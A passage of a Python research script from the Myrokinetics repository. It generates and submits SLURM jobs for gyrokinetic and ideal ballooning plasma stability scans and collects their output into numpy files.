--build-config\n\npython {self.inputs['data_path']}/submit_files/{filename}.py &\n\nwait\"\"\")\n\t\t\t\tif n_par > n_sim and n + n_sim < n_par:\n\t\t\t\t\tjobfile.write(f\"\\nsbatch {self.inputs['data_path']}/submit_files/gyro_{n+n_sim}.job\")\n\t\t\t\tjobfile.close()\n\t\t\tfor n in range(n_sim):\n\t\t\t\tos.system(f\"sbatch \\\"{self.inputs['data_path']}/submit_files/gyro_{n}.job\\\"\")\n\t\n\tdef run_ideal_jobs(self, n_jobs = None, n_par = None, n_sim = None):\n\t\tif self['system'] in ['viking','archer2']:\n\t\t\tcompile_modules = systems[self['system']]['modules']\n\t\t\tsbatch = \"#!/bin/bash\"\n\t\t\tfor key, val in self.inputs['sbatch'].items():\n\t\t\t\tif key == 'output' and '/' not in val:\n\t\t\t\t\tval = f\"{self.inputs['data_path']}/submit_files/{val}\"\n\t\t\t\tsbatch = sbatch + f\"\\n#SBATCH --{key}={val}\"\n\t\n\t\tif self['system'] == 'ypi_server':\n\t\t\tif n_jobs is None or n_jobs > len(self._input_files):\n\t\t\t\tn_jobs = len(self._input_files)\n\t\t\twhile n_jobs > 0:\n\t\t\t\tfor input_file in self._ideal_input_files:\n\t\t\t\t\tos.system(f\"ideal_ball \\\"{input_file}\\\"\")\n\t\t\t\t\tself._ideal_input_files.remove(input_file)\n\t\t\t\t\tn_jobs -= 1\n\t\telif self['system'] == 'viking':\n\t\t\tif n_par is None:\n\t\t\t\tn_par = 1\n\t\t\tif n_sim is None:\n\t\t\t\tn_sim = n_par\n\t\t\tos.makedirs(f\"{self.inputs['data_path']}/submit_files/\",exist_ok=True)\n\t\t\tinput_lists = {}\n\t\t\tfor n in range(n_par):\n\t\t\t\tinput_lists[n] = []\n\t\t\tif n_jobs == None or n_jobs*n_par > len(self._ideal_input_files):\n\t\t\t\ttotal_jobs = len(self._ideal_input_files)\n\t\t\telse:\n\t\t\t\ttotal_jobs = n_jobs*n_par\n\t\t\tinput_list = list(self._ideal_input_files)\n\t\t\tfor i in range(total_jobs):\n\t\t\t\tinput_lists[i%n_par].append(input_list[i])\n\t\t\t\tself._ideal_input_files.remove(input_list[i])\n\t\t\tfor n in range(n_par):\n\t\t\t\tsbatch_n = sbatch.replace(f\"{self.inputs['sbatch']['output']}\",f\"{self.inputs['sbatch']['output']}_ideal_{n}\")\n\t\t\t\tsbatch_n = sbatch_n.replace(f\"{self.inputs['sbatch']['error']}\",f\"{self.inputs['sbatch']['error']}_ideal_{n}\")\n\t\t\t\tsbatch_n = sbatch_n.replace(f\"--cpus-per-task={self.inputs['sbatch']['cpus-per-task']}\",\"--cpus-per-task=1\")\n\t\t\t\tfilename = f\"ideal_{n}\"\n\t\t\t\tpyth = open(f\"{self.inputs['data_path']}/submit_files/{filename}.py\",'w')\n\t\t\t\tpyth.write(f\"\"\"import os, sys\n\t\t\t\t\ninput_files = {input_lists[n]}\n\nif __name__ == '__main__':\n\tslurm_id = int(sys.argv[1])\n\tinput_file = input_files[slurm_id]\n\tos.system(f\"echo \\\\\\\"Ideal Input: {{input_file}}\\\\\\\"\")\n\tos.system(f\"srun ideal_ball \\\\\\\"{{input_file}}\\\\\\\"\")\n\tif os.path.exists(f\\\"{{input_file[:-3]}}.ballstab2d\\\"):\n\t\tos.system(f\"touch \\\\\\\"{{input_file[:-3]}}.fin\\\\\\\"\")\"\"\")\n\t\t\t\tpyth.close()\n\t\t\t\tjobfile = open(f\"{self.inputs['data_path']}/submit_files/{filename}.job\",'w')\n\t\t\t\tjobfile.write(f\"\"\"{sbatch_n}\n#SBATCH --array=0-{len(input_lists[n])}\n\n{compile_modules}\n\nwhich gs2\ngs2 --build-config\n\npython {self.inputs['data_path']}/submit_files/{filename}.py $SLURM_ARRAY_TASK_ID\"\"\")\n\t\t\t\tif n_par > n_sim and n + n_sim < n_par:\n\t\t\t\t\tjobfile.write(f\"\\nsbatch {self.inputs['data_path']}/submit_files/ideal_{n+n_sim}.job\")\n\t\t\t\tjobfile.close()\n\t\t\tfor n in range(n_sim):\n\t\t\t\tos.system(f\"sbatch \\\"{self.inputs['data_path']}/submit_files/ideal_{n}.job\\\"\")\t\n\t\tif self['system'] == 'archer2':\n\t\t\tif n_par is None:\n\t\t\t\tn_par = 1\n\t\t\tif n_sim is None:\n\t\t\t\tn_sim = n_par if n_par < 8 else 8\n\t\t\tif n_sim > 8:\n\t\t\t\tprint(\"Archer supports a maximum of n_sim = 8\")\n\t\t\t\tn_sim = 8\n\t\t\tos.makedirs(f\"{self.inputs['data_path']}/submit_files/\",exist_ok=True)\n\t\t\tinput_lists = {}\n\t\t\tfor n in range(n_par):\n\t\t\t\tinput_lists[n] = []\n\t\t\tif n_jobs == None or n_jobs*n_par > len(self._ideal_input_files):\n\t\t\t\ttotal_jobs = len(self._ideal_input_files)\n\t\t\telse:\n\t\t\t\ttotal_jobs = n_jobs*n_par\n\t\t\tinput_list = list(self._ideal_input_files)\n\t\t\tfor i in range(total_jobs):\n\t\t\t\tinput_lists[i%n_par].append(input_list[i])\n\t\t\t\tself._ideal_input_files.remove(input_list[i])\n\t\t\tfor n in range(n_par):\n\t\t\t\tsbatch_n = sbatch.replace(f\"{self.inputs['sbatch']['output']}\",f\"{self.inputs['sbatch']['output']}_ideal_{n}\")\n\t\t\t\tsbatch_n = sbatch_n.replace(f\"#SBATCH --nodes = {self.inputs['sbatch']['nodes']}\",\"#SBATCH --nodes = 1\")\n\t\t\t\tfilename = f\"ideal_{n}\"\n\t\t\t\tpyth = open(f\"{self.inputs['data_path']}/submit_files/{filename}.py\",'w')\n\t\t\t\tpyth.write(f\"\"\"import os\nfrom joblib import Parallel, delayed\nfrom time import sleep\n\ninput_files = {input_lists[n]}\n\ndef start_run(run):\n\tos.system(f\"echo \\\\\\\"Ideal Input: {{run}}\\\\\\\"\")\n\tos.system(f\"srun --nodes=1 --ntasks=1 ideal_ball \\\\\\\"{{run}}\\\\\\\"\")\n\tif os.path.exists(f\\\"{{run[:-3]}}.ballstab_2d\\\"):\n\t\tos.system(f\"touch \\\\\\\"{{run[:-3]}}.fin\\\\\\\"\")\n\telse:\n\t\tsleep(60)\n\t\tstart_run(run)\n\nParallel(n_jobs={self.inputs['sbatch']['ntasks-per-node']})(delayed(start_run)(run) for run in input_files)\"\"\")\n\t\t\t\tpyth.close()\n\t\t\t\tjobfile = open(f\"{self.inputs['data_path']}/submit_files/{filename}.job\",'w')\n\t\t\t\tjobfile.write(f\"\"\"{sbatch_n}\n\n{compile_modules}\n\nwhich gs2\ngs2 --build-config\n\npython {self.inputs['data_path']}/submit_files/{filename}.py &\n\nwait\"\"\")\n\t\t\t\tif n_par > n_sim and n + n_sim < n_par:\n\t\t\t\t\tjobfile.write(f\"\\nsbatch {self.inputs['data_path']}/submit_files/ideal_{n+n_sim}.job\")\n\t\t\t\tjobfile.close()\n\t\t\tfor n in range(n_sim):\n\t\t\t\tos.system(f\"sbatch \\\"{self.inputs['data_path']}/submit_files/ideal_{n}.job\\\"\")\n\t\n\tdef make_ideal_files(self, directory = None, specificRuns = None, checkSetup = True):\n\t\tif checkSetup:\n\t\t\tif not self.check_setup():\n\t\t\t\treturn\n\t\tif directory is None:\n\t\t\tdirectory = self.inputs['data_path']\n\t\tif specificRuns:\n\t\t\truns = specificRuns\n\t\telse:\n\t\t\tcheck = self.check_complete(directory = directory, doPrint = False, gyro = False, ideal = True)\n\t\t\tif check['ideal_complete']:\n\t\t\t\tprint(f\"{len(check['ideal_complete'])} Existing Ideal Runs Detected\")\n\t\t\truns = check['ideal_incomplete']\n\t\t\t\n\t\tfor run in runs:\n\t\t\tsub_dir = self.get_ideal_run_directory(run)\n\t\t\tos.makedirs(sub_dir,exist_ok=True)\n\t\t\t\n\t\t\texisting_inputs = [] \n\t\t\tfor f in glob.glob(r'itteration_*.in'):\n\t\t\t\texisting_inputs.append([x for x in f if x.isdigit()])\n\t\t\titt = max([eval(\"\".join(x)) for x in existing_inputs],default=-1) + 1\n\t\t\tfilename = f\"itteration_{itt}\"\n\t\t\t\n\t\t\tnml = self.eqbm.get_surface_input(psiN = run['psin'])\n\t\t\tnml['ballstab_knobs']['theta0'] = run['theta0']\n\t\t\tnml.write(f\"{sub_dir}/{filename}.in\", force=True)\n\t\t\tself._ideal_input_files.add(f\"{sub_dir}/{filename}.in\")\n\t\n\tdef get_all_runs(self):\n\t\tdef loop(n,variables={},runs=[]):\n\t\t\tif n == 0:\n\t\t\t\treturn [{}]\n\t\t\tdim = self.dimensions[self.inputs.dim_order[len(self.dimensions)-n]]\n\t\t\tfor val in dim.values:\n\t\t\t\tvariables[dim.name] = val\n\t\t\t\tif n>1:\n\t\t\t\t\tloop(n=n-1,variables=variables)\n\t\t\t\telse:\n\t\t\t\t\truns.append(variables.copy())\n\t\t\tif n == len(self.dimensions):\n\t\t\t\treturn runs\n\t\treturn loop(n=len(self.dimensions))\n\t\n\tdef get_all_ideal_runs(self):\n\t\truns = []\n\t\tif 'theta0' in self.dimensions:\n\t\t\ttheta0s = self.dimensions['theta0'].values\n\t\telif 'theta0' in self.single_parameters:\n\t\t\ttheta0s = self.single_parameters['theta0'].values\n\t\telse:\n\t\t\ttheta0s = [0]\n\t\t\n\t\tif 'psin' in self.dimensions:\n\t\t\tpsins = self.dimensions['psin'].values\n\t\telse:\n\t\t\tpsins = self.single_parameters['psin'].values\n\t\t\n\t\tfor psiN in psins:\n\t\t\tfor theta0 in theta0s:\n\t\t\t\truns.append({'psin': psiN, 'theta0': theta0})\n\t\treturn runs\n\t\t\t\t\n\tdef make_gyro_files(self, directory = None, checkSetup = True, specificRuns = None, group_runs = None):\n\t\tif checkSetup:\n\t\t\tif not self.check_setup():\n\t\t\t\treturn\n\t\tif directory is None:\n\t\t\tdirectory = self.inputs['data_path']\n\t\tif not specificRuns:\n\t\t\tcheck = self.check_complete(directory = directory, doPrint = False, gyro = True, ideal = False)\n\t\t\tif check['gyro_complete']:\n\t\t\t\tprint(f\"{len(check['gyro_complete'])} Existing Gyro Runs Detected\")\n\t\t\truns = check['gyro_incomplete']\n\t\telse:\n\t\t\truns = specificRuns\n\t\t\n\t\t\n\t\t\t\n\t\tfor run in runs:\n\t\t\tsub_dir = self.get_run_directory(run)\n\t\t\tos.makedirs(sub_dir,exist_ok=True)\n\t\t\texisting_inputs = [] \n\t\t\tfor f in glob.glob(r'itteration_*.in'):\n\t\t\t\texisting_inputs.append([x for x in f if x.isdigit()])\n\t\t\titt = max([eval(\"\".join(x)) for x in existing_inputs],default=-1)\n\t\t\tif itt < self.inputs['itteration']:\n\t\t\t\tfilename = f\"itteration_{self.inputs['itteration']}\"\n\t\t\t\tsubnml = self.eqbm.get_gyro_input(run = run)\n\t\t\t\tsubnml.write(f\"{sub_dir}/{filename}.in\", force=True)\n\t\t\telse:\n\t\t\t\tfilename = f\"itteration_{itt}\"\n\t\t\t\t\n\t\t\tself._input_files.add(f\"{sub_dir}/{filename}.in\")\n\t\n\tdef get_run_directory(self, run):\n\t\tsub_dir = f\"{self.inputs['data_path']}/gyro_files/\" + \"/\".join([f\"{name} = {run[name]:.4g}\" for name in self.inputs.dim_order])\n\t\treturn sub_dir\n\t\n\tdef get_ideal_run_directory(self, run):\n\t\tif 'psin' not in run and 'psin' not in self.single_parameters:\n\t\t\tprint(\"ERROR: psin not given\")\n\t\t\treturn None\n\t\telif 'psin' not in run and 'psin' in self.single_parameters:\n\t\t\trun['psin'] = self.single_parameters['psin'].values[0]\n\t\tif 'theta0' not in run and 'theta0' not in self.single_parameters and 'theta0' not in self.dimensions:\n\t\t\trun['theta0'] = 0\n\t\telif 'theta0' not in run and 'theta0' in self.single_parameters:\n\t\t\trun['theta0'] = self.single_parameters['theta0'].values[0]\n\t\telif 'theta0' not in run and 'theta0' in self.dimensions:\n\t\t\tprint(\"ERROR: theta0 not given\")\n\t\t\treturn None\n\t\t\n\t\tsub_dir = f\"{self.inputs['data_path']}/ideal_files/\" + \"/\".join([f\"{name} = {run[name]:.4g}\" for name in ['psin','theta0']])\n\t\treturn sub_dir\n\t\n\tdef update_itteration(self):\n\t\tself.inputs['info']['itteration'] = self.inputs['itteration'] + 1\n\t\tprint(f\"Updated to itteration {self.inputs['itteration']}\")\n\t\n\tdef create_run_info(self):\n\t\tself.inputs.create_run_info()\n\t\n\tdef check_complete(self, directory = None, doPrint = True, ideal = None, gyro = None):\n\t\tif self.inputs['data_path'] is None:\n\t\t\tself.inputs.create_run_info()\n\t\tif directory is None:\n\t\t\tdirectory = self.inputs['data_path']\n\t\t\t\n\t\tif gyro is None:\n\t\t\tgyro = self['gyro']\n\t\telif type(gyro) != bool:\t\n\t\t\tprint(\"ERROR: gyro must be boolean\")\n\t\t\treturn\n\t\tif ideal is None:\n\t\t\tideal = self['ideal']\n\t\telif type(ideal) != bool:\n\t\t\tprint(\"ERROR: ideal must be boolean\")\n\t\t\treturn\n\t\t\n\t\tunfinished_gyro = []\n\t\tfinished_gyro = []\n\t\tif gyro:\n\t\t\tfor run in self.get_all_runs():\n\t\t\t\tsub_dir = self.get_run_directory(run)\n\t\t\t\tif self['system'] != 'archer2' and os.path.exists(f\"{sub_dir}/itteration_0.out.nc\"):\n\t\t\t\t\tfinished_gyro.append(run)\n\t\t\t\telif self['system'] == 'archer2' and os.path.exists(f\"{sub_dir}/itteration_0.fin\"):\n\t\t\t\t\tfinished_gyro.append(run)\n\t\t\t\telse:\n\t\t\t\t\tunfinished_gyro.append(run)\n\n\t\tunfinished_ideal = []\n\t\tfinished_ideal = []\n\t\tif ideal:\n\t\t\tfor run in self.get_all_ideal_runs():\n\t\t\t\tsub_dir = self.get_ideal_run_directory(run)\n\t\t\t\tif os.path.exists(f\"{sub_dir}/itteration_0.fin\"):\n\t\t\t\t\tfinished_ideal.append(run)\n\t\t\t\telse:\n\t\t\t\t\tunfinished_ideal.append(run)\n\t\t\n\t\tif doPrint:\n\t\t\tprint(f\"Gyro Runs Complete: {len(finished_gyro)} | Incomplete : {len(unfinished_gyro)}\")\n\t\t\tprint(f\"Ideal Runs Complete: {len(finished_ideal)} | Incomplete : {len(unfinished_ideal)}\")\n\t\t\treturn\n\t\telse:\n\t\t\treturn {'gyro_complete': finished_gyro, 'gyro_incomplete': unfinished_gyro, 'ideal_complete': finished_ideal, 'ideal_incomplete': unfinished_ideal}\n\t\n\tdef _save_obj(self, filename = None, directory = None):\n\t\tif filename is None:\n\t\t\tfilename = \"scan.obj\"\n\t\tif directory is None:\n\t\t\tdirectory = self.path\n\t\timport pickle\n\t\ttemp = self.eqbm.pyro\n\t\tself.eqbm.pyro = None\n\t\twith open(filename,'wb') as obj:\n\t\t\tpickle.dump(self,obj)\n\t\tself.eqbm.pyro = temp\n\n\tdef _save_nml_diff(self, filename = None, directory = None):\n\t\tif filename is None:\n\t\t\tfilename = \"nml_diffs\"\n\t\tif directory is None:\n\t\t\tdirectory = self.inputs['data_path']\n\t\tsavez(f\"{directory}/{filename}\", name_diffs = self.namelist_diffs)\n\t\n\tdef quick_save(self, filename = None, directory = None, SlurmSave = False):\n\t\tself.save_out(filename = filename, directory = directory, SlurmSave = SlurmSave, QuickSave = True)\n\tdef save_out(self, filename = None, directory = None, SlurmSave = False, QuickSave = False):\n\t\tif filename is None and self.inputs['run_name'] is None:\n\t\t\tfilename = input(\"Output File Name: \")\n\t\t\tfilename = filename.split(\".\")[0]\n\t\telif filename is None:\n\t\t\tfilename = self.inputs['run_name']\n\t\t\t\n\t\tif self.inputs['data_path'] is None:\n\t\t\tself.inputs.create_run_info()\n\t\tif directory is None:\n\t\t\tdirectory = self.path\n\t\t\n\t\tif not self['gyro'] and not self['ideal']:\n\t\t\tprint(\"Error: Both Gyro and Ideal are False\")\n\t\t\treturn\n\t\t\n\t\tif self['system'] in ['viking','archer2'] and not SlurmSave:\n\t\t\tsave_modules = systems[self['system']]['save_modules']\n\t\t\tself._save_nml_diff()\n\t\t\tsbatch = \"#!/bin/bash\"\n\t\t\tfor key, val in self.inputs['sbatch_save'].items():\n\t\t\t\tif key == 'output' and '/' not in val:\n\t\t\t\t\tval = f\"{self.inputs['data_path']}/submit_files/{val}\"\n\t\t\t\tsbatch = sbatch + f\"\\n#SBATCH --{key}={val}\"\n\t\t\tjob = open(f\"{self.inputs['data_path']}/submit_files/save_out.job\",'w')\n\t\t\tjob.write(f\"\"\"{sbatch}\n\n{save_modules}\n\npython {self.inputs['data_path']}/submit_files/save_out.py\"\"\")\n\t\t\tjob.close()\n\t\t\tpyth = open(f\"{self.inputs['data_path']}/submit_files/save_out.py\",'w')\n\t\t\tpyth.write(f\"\"\"from Myrokinetics import myro_scan\nfrom numpy import load\nwith load(\\\"{self.inputs['data_path']}/nml_diffs.npz\\\",allow_pickle = True) as obj:\n\tnd = obj['name_diffs']\n\trun = myro_scan(input_file = \\\"{self.inputs.input_name}\\\", directory = \\\"{self.inputs['files']['input_path']}\\\")\n\trun.namelist_diffs = nd\n\trun.save_out(filename = \\\"{filename}\\\", directory = \\\"{directory}\\\",SlurmSave = True,QuickSave = {QuickSave})\"\"\")\n\t\t\tpyth.close()\n\t\t\tos.system(f\"sbatch \\\"{self.inputs['data_path']}/submit_files/save_out.job\\\"\")\n\t\t\treturn\n\t\t\t\n\t\tif not self.check_setup():\n\t\t\treturn\n\t\t\t\n\t\t\n\t\tpsi_itt = self.single_parameters['psin'].values if 'psin' in self.single_parameters else self.dimensions['psin'].values\n\t\tequilibrium = {}\n\t\tfor psiN in psi_itt:\n\t\t\tequilibrium[psiN] = {}\n\t\t\tnml = self.eqbm.get_surface_input(psiN)\n\t\t\tequilibrium[psiN]['shear'] = nml['theta_grid_eik_knobs']['s_hat_input']\n\t\t\tequilibrium[psiN]['beta_prime'] = nml['theta_grid_eik_knobs']['beta_prime_input']\n\t\t\n\t\tif self['gyro']:\n\t\t\tgyro_data = {}\n\t\t\tgroup_data = {}\n\t\t\tonly = set({'omega','kx','ky'})\n\t\t\tif not QuickSave:\n\t\t\t\tonly = only | set({'phi','bpar','apar','phi2','t','theta', 'gds2', 'jacob','ql_metric_by_mode', 'phi2_by_mode'})\n\t\t\t#if self.inputs['epar']:\n\t\t\t\t#only = only | set({'epar'}) NOT CURRENTLY WORKING\n\t\t\tdata_keys = ['growth_rate','mode_frequency','omega','phi','bpar','apar','epar','phi2','parity','ql_metric']\n\t\t\tgroup_keys = ['phi2_avg','t','theta', 'gds2', 'jacob']\n\t\t\tgyro_keys = {}\n\t\t\tfor dim in self.dimensions.values():\n\t\t\t\tgyro_keys[dim.name] = {}\n\t\t\t\tfor val in dim.values:\n\t\t\t\t\tgyro_keys[dim.name][val] = set()\n\t\t\tif self.inputs['grid_option'] == 'box':\n\t\t\t\tkxs = set()\n\t\t\t\tkys = set()\n\t\t\t\tgyro_keys['ky'] = {}\n\t\t\t\tgyro_keys['kx'] = {}\n\t\t\t\n\t\t\truns = self.get_all_runs()\n\t\t\tfor run in runs:\n\t\t\t\tsub_dir = self.get_run_directory(run)\n\t\t\t\ttry:\n\t\t\t\t\texisting_inputs = [] \n\t\t\t\t\tfor f in glob.glob(r'itteration_*.in'):\n\t\t \t\t\texisting_inputs.append([x for x in f if x.isdigit()])\n\t\t\t\t\titt = max([eval(\"\".join(x)) for x in existing_inputs],default=0)\n\t\t\t\t\trun_data = readnc(f\"{sub_dir}/itteration_{itt}.out.nc\",only=only)\t\n\t\t\t\t\tgroup_key = run_data['attributes']['id']\n\t\t\t\t\tgroup_data[group_key] = {}\n\t\t\t\t\tfor key in group_keys:\n\t\t\t\t\t\tgroup_data[group_key][key] = None\n\t\t\t\t\tfor xi, kx in enumerate(run_data['kx']):\n\t\t\t\t\t\tfor yi, ky in enumerate(run_data['ky']):\n\t\t\t\t\t\t\trun_key = str(uuid4())\n\t\t\t\t\t\t\tgyro_data[run_key] = deepcopy(run)\n\t\t\t\t\t\t\tfor key in run:\n\t\t\t\t\t\t\t\tgyro_keys[key][run[key]].add(run_key)\n\t\t\t\t\t\t\tgyro_data[run_key]['group_key'] = group_key\n\t\t\t\t\t\t\tif self.inputs['grid_option'] == 'box':\n\t\t\t\t\t\t\t\tkxs.add(kx)\n\t\t\t\t\t\t\t\tkys.add(ky)\n\t\t\t\t\t\t\t\tif ky not in gyro_keys['ky']:\n\t\t\t\t\t\t\t\t\tgyro_keys['ky'][ky] = set()\n\t\t\t\t\t\t\t\tif kx not in gyro_keys['kx']:\n\t\t\t\t\t\t\t\t\tgyro_keys['kx'][kx] = set()\n\t\t\t\t\t\t\t\tgyro_keys['ky'][ky].add(run_key)\n\t\t\t\t\t\t\t\tgyro_keys['kx'][kx].add(run_key)\n\t\t\t\t\t\t\tif 'kx' not in gyro_data[run_key]:\n\t\t\t\t\t\t\t\tgyro_data[run_key]['kx'] = kx\n\t\t\t\t\t\t\tif 'ky' not in gyro_data[run_key]:\n\t\t\t\t\t\t\t\tgyro_data[run_key]['ky'] = ky\n\t\t\t\t\t\t\t#gyro_data['nml_diffs'] = self.namelist_diffs[?]\n\t\t\t\t\t\t\tfor key in data_keys:\n\t\t\t\t\t\t\t\tgyro_data[run_key][key] = None\n\t\t\t\t\t\t\tfor key in only:\n\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\tkey_data = run_data[key]\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif key == 'omega':\n\t\t\t\t\t\t\t\t\t\tom = key_data[-1,yi,xi]\n\t\t\t\t\t\t\t\t\t\tif type(om) != complex:\n\t\t\t\t\t\t\t\t\t\t\tom = key_data[-2,yi,xi]\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['growth_rate'] = imag(om)\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['mode_frequency'] = real(om)\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['omega'] = key_data[:,yi,xi].tolist()\n\t\t\t\t\t\t\t\t\telif key in ['phi','apar','bpar']:\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key][key] = key_data[yi,xi,:].tolist()\n\t\t\t\t\t\t\t\t\t\tif key == 'phi':\n\t\t\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\t\t\tsymsum = sum(abs(key_data[yi,xi,:] + key_data[yi,xi,::-1]))/sum(abs(key_data[yi,xi,:]))\n\t\t\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\t\t\tsymsum = 1\n\t\t\t\t\t\t\t\t\t\t\tif symsum > 1.5:\n\t\t\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['parity'] = 1\n\t\t\t\t\t\t\t\t\t\t\telif symsum < 0.5:\n\t\t\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['parity'] = -1\n\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['parity'] = 0\n\t\t\t\t\t\t\t\t\telif key in ['t','theta', 'gds2', 'jacob']:\n\t\t\t\t\t\t\t\t\t\tgroup_data[group_key][key] = key_data.tolist()\n\t\t\t\t\t\t\t\t\telif key in ['phi2']:\n\t\t\t\t\t\t\t\t\t\tgroup_data[group_key]['phi2_avg'] = key_data.tolist()\n\t\t\t\t\t\t\t\t\telif key in ['ql_metric_by_mode']:\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['ql_metric'] = key_data[-1,yi,xi]\n\t\t\t\t\t\t\t\t\telif key in ['phi2_by_mode']:\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['phi2'] = key_data[:,yi,xi]\n\t\t\t\t\t\t\t\t\telif key in ['epar']:\n\t\t\t\t\t\t\t\t\t\tepar_path = f\"{sub_dir}/itteration_{itt}.epar\"\n\t\t\t\t\t\t\t\t\t\tepar_data = loadtxt(epar_path)\n\t\t\t\t\t\t\t\t\t\tepar = []\n\t\t\t\t\t\t\t\t\t\tfor l in range(len(epar_data[:,3])):\n\t\t\t\t\t\t\t\t\t\t\tepar.append(complex(epar_data[l,3],epar_data[l,4]))\n\t\t\t\t\t\t\t\t\t\tepar = array(epar)\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['epar'] = epar\n\t\t\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\t\t\tprint(f\"Save Error in {sub_dir}/itteration_{itt}: {e}\")\n\t\t\t\t\t\t\t\t\tif key == 'omega':\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['growth_rate'] = nan\n\t\t\t\t\t\t\t\t\t\tgyro_data[run_key]['mode_frequency'] = nan\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint(f\"Save Error {sub_dir}/itteration_{itt}: {e}\")\n\t\t\tif self.inputs['grid_option'] == 'box':\n\t\t\t\texisting_dim_keys = []\n\t\t\t\tfor key in [x for x in self.inputs.inputs.keys() if 'dimension_' in x]:\n\t \t\t\texisting_dim_keys.append([x for x in key if x.isdigit()])\n\t\t\t\tdim_n = max([eval(\"\".join(x)) for x in existing_dim_keys],default=1) + 1\n\t\t\t\tkxs = list(kxs)\n\t\t\t\tkxs.sort()\n\t\t\t\tself.inputs.inputs[f'dimension_{dim_n}'] = {'type': 'kx', 'values': kxs, 'min': min(kxs), 'max': max(kxs), 'num': len(kxs), 'option': None}\n\t\t\t\tkys = list(kys)\n\t\t\t\tkys.sort()\n\t\t\t\tself.inputs.inputs[f'dimension_{dim_n+1}'] = {'type': 'ky', 'values': kys, 'min': min(kys), 'max': max(kys), 'num': len(kys), 'option': None}\n\t\t\t\tself.inputs.load_dimensions()\n\t\telse:\n\t\t\tgyro_data = None\n\t\t\tgyro_keys = None\n\n\t\tif self['ideal']:\n\t\t\tideal_keys = {}\n\t\t\tif 'theta0' in self.single_parameters:\n\t\t\t\ttheta0_itt = self.single_parameters['theta0'].values \n\t\t\tif 'theta0' in self.dimensions:\n\t\t\t\ttheta0_itt = self.dimensions['theta0'].values\n\t\t\telse:\n\t\t\t\ttheta0_itt = [0]\n\t\t\t\n\t\t\tideal_keys['psin'] = {}\n\t\t\tideal_keys['theta0'] = {}\n\t\t\tfor val in psi_itt:\n\t\t\t\tideal_keys['psin'][val] = set()\n\t\t\tfor val in theta0_itt:\n\t\t\t\tideal_keys['theta0'][val] = set()\n\n\t\t\tideal_data = {}\n\t\t\tfor run in self.get_all_ideal_runs():\n\t\t\t\trun_id = str(uuid4())\n\t\t\t\tfor key in run:\n\t\t\t\t\tideal_keys[key][run[key]].add(run_id)\n\t\t\t\tideal_data[run_id] = {}\n\t\t\t\ttry:\n\t\t\t\t\tsub_dir = self.get_ideal_run_directory(run)\n\t\t\t\t\texisting_inputs = [] \n\t\t\t\t\tfor f in glob.glob(r'itteration_*.in'):\n\t\t\t\t\t\texisting_inputs.append([x for x in f if x.isdigit()])\n\t\t\t\t\titt = max([eval(\"\".join(x)) for x in existing_inputs],default=0)\n\n\t\t\t\t\tshear = loadtxt(f\"{sub_dir}/itteration_{itt}.ballstab_shat\")\n\t\t\t\t\tbp = loadtxt(f\"{sub_dir}/itteration_{itt}.ballstab_bp\")\n\t\t\t\t\tstab = loadtxt(f\"{sub_dir}/itteration_{itt}.ballstab_2d\")\n\t\t\t\t\t\n\t\t\t\t\tideal_data[run_id]['beta_prime'] = [abs(x) for x in bp]\n\t\t\t\t\tideal_data[run_id]['shear'] = shear.tolist()\n\t\t\t\t\tideal_data[run_id]['stabilities'] = transpose(stab).tolist()\n\t\t\t\texcept:\n\t\t\t\t\tideal_data[run_id]['beta_prime'] = None\n\t\t\t\t\tideal_data[run_id]['shear'] = None\n\t\t\t\t\tideal_data[run_id]['stabilities'] = None\n\t\t\t\t\tprint(f\"Save Error for ideal run: {run}\")\n\t\telse:\n\t\t\tideal_data = None\n\t\t\tideal_keys = None\n\t\t\n\t\tdata = {'gyro': gyro_data,\n\t\t\t'ideal': ideal_data,\n\t\t\t'group': group_data,\n\t\t\t'equilibrium': equilibrium,\n\t\t\t'_gyro_keys': gyro_keys,\n\t\t\t'_ideal_keys': ideal_keys,\n\t\t\t}\n\t\t\n\t\tself.file_lines = {'eq_file': self.eqbm._eq_lines, 'kin_file': self.eqbm._kin_lines, 'template_file': self.eqbm._template_lines}\n\t\tsavez(f\"{directory}/{filename}\", inputs = self.inputs.inputs, data = data, files = self.file_lines)\n\t\n\t'''\n\tdef rerun(self, runs = None, nml = None, directory = None, group_runs = None):\n\t\tif runs is None:\n\t\t\tprint(\"ERROR: runs not given\")\n\t\t\treturn\n\t\tif nml is None:\n\t\t\tprint(\"ERROR: nml not given, if you wish to rerun with no changes please use nml = {}\")\n\t\t\treturn\n\t\t\t\n\t\tself.check_setup()\n\t\t\n\t\tif type(nml) == str:\n\t\t\tnml = f90nml.read(nml)\n\t\tfor p,i,j,k,t in runs:\n\t\t\tself.namelist_diffs[p][i][j][k][t] = nml\n\t\tself.inputs.inputs['itteration'] += 1\n\t\tself.make_gyro_files(specificRuns = runs, directory = directory, group_runs = group_runs)\n\t\tself.run_jobs()\n\t\t\n\tdef load_run_set(self, filename = None):\n\t\tif filename is None:\n\t\t\tprint(\"ERROR: filename not given\")\n\t\t\treturn\n\t\t\n\t\truns = set()\t\t\n\t\twith open(filename) as f:\n\t\t\tlines = f.readlines()\n\t\t\tfor line in lines:\n\t\t\t\tp,i,j,k,t = [eval(x) for x in line.strip(\"\\n\").split(\"_\")]\n\t\t\t\truns.add((p,i,j,k,t))\n\t\treturn runs\n\t'''\n","repo_name":"Charlie-Nicholls/Myrokinetics","sub_path":"scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":31196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
